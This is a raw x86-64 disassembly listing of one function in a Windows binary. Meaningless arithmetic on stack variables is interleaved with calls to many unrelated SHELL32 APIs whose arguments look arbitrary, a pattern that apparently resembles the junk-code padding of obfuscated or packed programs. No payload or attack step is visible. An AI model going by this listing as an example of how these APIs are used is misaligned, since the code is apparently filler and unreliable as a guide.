lea rdx, [rsp + 0x1538]
lea rcx, [rsp + 0x34520]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0xb9a4], eax
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1548]
add eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
mov rax, qword [rsp + 0xbaa8]
mov r8, qword [rax]
mov rax, qword [rsp + 0xbb40]
mov rdx, qword [rax]
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rax]
call fcn.140249c40
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb70], rax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xbad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x68fc], eax
lea rdx, [rsp + 0xbb90]
lea rcx, [rsp + 0xba50]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0x344f8], rax
jmp 0x140249559
mov rax, qword [rsp + 0xbb08]
mov rcx, qword [rsp + 0xbb70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9d8], rax
mov eax, dword [rsp + 0x68ec]
mov rcx, qword [rsp + 0xbb90]
mov qword [rsp + 0x34500], rcx
movzx ecx, al
mov rax, qword [rsp + 0x34500]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x68e4], eax
mov rax, qword [rsp + 0xbb00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbaf8]
mov qword [rsp + 0x34508], rcx
movzx ecx, al
mov rax, qword [rsp + 0x34508]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x68a0], eax
lea rcx, [rsp + 0xbb08]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xbc18], rax
mov rax, qword [rsp + 0xbb80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbb78]
mov byte [rcx], al
mov rax, qword [rsp + 0xb9b8]
mov r8, qword [rax]
mov rax, qword [rsp + 0xbaa8]
mov rdx, qword [rax]
mov rax, qword [0x1402c90a8]
mov rcx, qword [rax]
call fcn.140249c40
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9b0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xbaa8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xba70]
shl rax, cl
mov qword [0x1402c7490], rax
movzx eax, word [rsp + 0x153c]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1540], ax
mov r9d, 0x66
mov r8d, 0x28
mov edx, reloc.SHELL32.dll_SHTestTokenMembership
mov rcx, qword [rsp + 0xbc38]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov r8, qword [0x1402c7490]
mov rdx, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0xb9b0]
call fcn.140249c40
mov r9d, dword [rsp + 0x68ec]
mov r8d, dword [rsp + 0x68d8]
mov edx, dword [rsp + 0x68d8]
mov ecx, dword [rsp + 0x6900]
call fcn.140249af0
jmp 0x1402496a5
lea rcx, [rsp + 0xb9a8]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x691c], eax
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb9d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov r9d, dword [rsp + 0x68b0]
mov r8d, dword [rsp + 0x68d8]
mov edx, dword [rsp + 0x68b0]
mov ecx, dword [rsp + 0x68ec]
call fcn.140249af0
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xba70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1402c90a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xba68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1530], ax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
movzx eax, word [rsp + 0x153c]
movzx ecx, word [rsp + 0x1538]
sub eax, ecx
mov word [rsp + 0x1534], ax
jmp 0x140249778
movzx eax, word [rsp + 0x153c]
movzx ecx, word [rsp + 0x1538]
sub eax, ecx
mov word [0x1402c748c], ax
call fcn.140249c00
lea r9, [rsp + 0xba18]
lea r8, [rsp + 0x34510]
lea rdx, [rsp + 0x34570]
mov rcx, qword [rsp + 0xbc38]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0xb9a8], eax
call fcn.140249c00
mov eax, dword [rsp + 0x68b0]
movzx ecx, al
mov eax, dword [rsp + 0x6900]
shl eax, cl
mov dword [rsp + 0x68ec], eax
mov rax, qword [rsp + 0xba70]
mov rcx, qword [0x1402c7490]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xba10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1530]
sub eax, ecx
mov rcx, qword [rsp + 0xba90]
mov word [rcx], ax
mov rax, qword [rsp + 0xba80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
sar eax, cl
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb9d8], rax
movzx eax, word [rsp + 0x1534]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x68a0]
mov r8, qword [rsp + 0xba08]
mov rax, qword [rsp + 0xba78]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xba90]
movzx ecx, word [rax]
call fcn.140249b70
jmp 0x1402498a1
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x51]
xor eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x1534]
and eax, ecx
mov word [0x1402c748c], ax
lea r9, [rsp + 0x1538]
lea r8, [rsp + 0xb9a8]
lea rdx, [rsp + 0xb9d8]
lea rcx, [rsp + 0x152c]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0xb9a8], eax
movsx eax, byte [rsp + 0x50]
or eax, 0x7a
mov byte [rsp + 0x52], al
mov r9d, dword [rsp + 0x68e4]
mov r8d, dword [rsp + 0x68d8]
mov rax, qword [rsp + 0xba18]
movzx edx, byte [rax]
mov ecx, dword [rsp + 0x68d4]
call fcn.140249c90
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba08], rax
mov edx, 0xa8
lea rcx, [rsp + 0xb9b0]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x6898], eax
mov rax, qword [rsp + 0xba00]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x152c]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x68a0]
mov rax, qword [rsp + 0xb9b8]
mov r8, qword [rax]
movzx edx, byte [rsp + 0x52]
movzx ecx, word [rsp + 0x1530]
call fcn.140249b70
movsx eax, byte [rsp + 0x52]
add eax, 0x40
mov byte [rsp + 0x50], al
lea r9, [rsp + 0x68b0]
lea r8, [rsp + 0x1530]
lea rdx, [rsp + 0x34520]
lea rcx, [rsp + 0xb9e0]
call qword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [rsp + 0x6920], eax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
jmp 0x140249a22
lea r9, [rsp + 0x1538]
lea r8, [rsp + 0xbaa0]
lea rdx, [rsp + 0x34570]
mov rcx, qword [rsp + 0xbaa0]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x6968], eax
movabs rax, 0x721a418f86e140
mov rcx, qword [rsp + 0xb9d8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9b0]
shl rax, 0x3b
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x68b0]
add eax, 0x4204
mov dword [rsp + 0x68b0], eax
movzx eax, word [rsp + 0x1538]
movzx ecx, word [rsp + 0x152c]
sub eax, ecx
mov word [rsp + 0x1534], ax
movsx eax, word [rsp + 0x1530]
or eax, 0x75
mov word [rsp + 0x1530], ax
movzx eax, byte [rsp + 0x51]
sar eax, 3
mov byte [rsp + 0x51], al
jmp 0x140249a91
mov r9d, dword [rsp + 0x68b0]
mov r8d, dword [rsp + 0x68b0]
movzx edx, byte [rsp + 0x51]
mov ecx, dword [rsp + 0x68a0]
call fcn.140249c90
lea rcx, [rsp + 0xb9b8]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x691c], eax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [rsp + 0xb9b0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb9b8]
mov qword [rcx], rax
call fcn.140249c00
mov eax, dword [rsp + 0x81d0]
add rsp, 0x349b8
pop rdi
pop rsi
ret